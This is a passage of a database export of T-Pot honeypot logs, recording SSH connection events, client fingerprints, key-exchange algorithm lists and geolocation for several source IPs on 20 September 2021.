"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36250, "timestamp": "2021-09-20T11:12:04.003986", "@timestamp": "2021-09-20T11:12:04.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26442	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:03.896198+03	2021-09-20 14:15:13.275646+03	{"_id": "PAbnAnwBvYTbRNuE5SGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46700, "dest_port": 22, "timestamp": "2021-09-20T11:12:03.896198", "@timestamp": "2021-09-20T11:12:03.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26443	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:12:03.999088+03	2021-09-20 14:15:13.276646+03	{"_id": "PQbnAnwBvYTbRNuE5iFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:36250 (192.168.176.2:22) [session: c80c335343b4]", "session": "c80c335343b4", "@version": "1", "protocol": "ssh", "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:03.999088Z", "@timestamp": "2021-09-20T11:12:03.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26444	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:04.320868+03	2021-09-20 14:15:13.277646+03	{"_id": "PgbnAnwBvYTbRNuE5iFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51088 (192.168.176.2:22) [session: 14bc30868b06]", "session": "14bc30868b06", "@version": "1", "protocol": "ssh", "src_port": 51088, "dest_port": 22, "timestamp": "2021-09-20T11:12:04.320868Z", "@timestamp": "2021-09-20T11:12:04.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26445	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:03.593374+03	2021-09-20 14:15:13.278646+03	{"_id": "PwbnAnwBvYTbRNuE5iFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "99d4097b1174", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:03.593374Z", "@timestamp": "2021-09-20T11:12:03.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26446	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:12:04.001842+03	2021-09-20 14:15:13.280646+03	{"_id": "QAbnAnwBvYTbRNuE5iFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c80c335343b4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:12:04.001842Z", "@timestamp": "2021-09-20T11:12:04.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26447	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:12:04.28599+03	2021-09-20 14:15:13.281644+03	{"_id": "QQbnAnwBvYTbRNuE5iFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c80c335343b4", "@version": "1", "timestamp": "2021-09-20T11:12:04.285990Z", "@timestamp": "2021-09-20T11:12:04.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26448	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:12:04.285376+03	2021-09-20 14:15:13.282646+03	{"_id": "UgbnAnwBvYTbRNuE6CFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:12:03.718871+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1393010038536215, "payload": "AAADzAYUm7ImhgM9wRne9D3TheS6CQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36250, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:12:04.285376Z", "@timestamp": "2021-09-20T11:12:04.285Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........&..=....=........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26449	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:04.600165+03	2021-09-20 14:15:13.284647+03	{"_id": "UwbnAnwBvYTbRNuE6CFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1354297350858209, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51088, "dest_port": 22, "timestamp": "2021-09-20T11:12:04.600165Z", "@timestamp": "2021-09-20T11:12:04.600Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26455	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:05.21012+03	2021-09-20 14:15:13.292647+03	{"_id": "YAbnAnwBvYTbRNuE6iE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e655c9289bd2", "@version": "1", "duration": 3.659003496170044, "timestamp": "2021-09-20T11:12:05.210120Z", "@timestamp": "2021-09-20T11:12:05.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26450	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:04.600347+03	2021-09-20 14:15:13.285646+03	{"_id": "VwbnAnwBvYTbRNuE6SGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51088, "timestamp": "2021-09-20T11:12:04.600347", "@timestamp": "2021-09-20T11:12:04.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26451	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:04.600404+03	2021-09-20 14:15:13.286646+03	{"_id": "VQbnAnwBvYTbRNuE6SGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 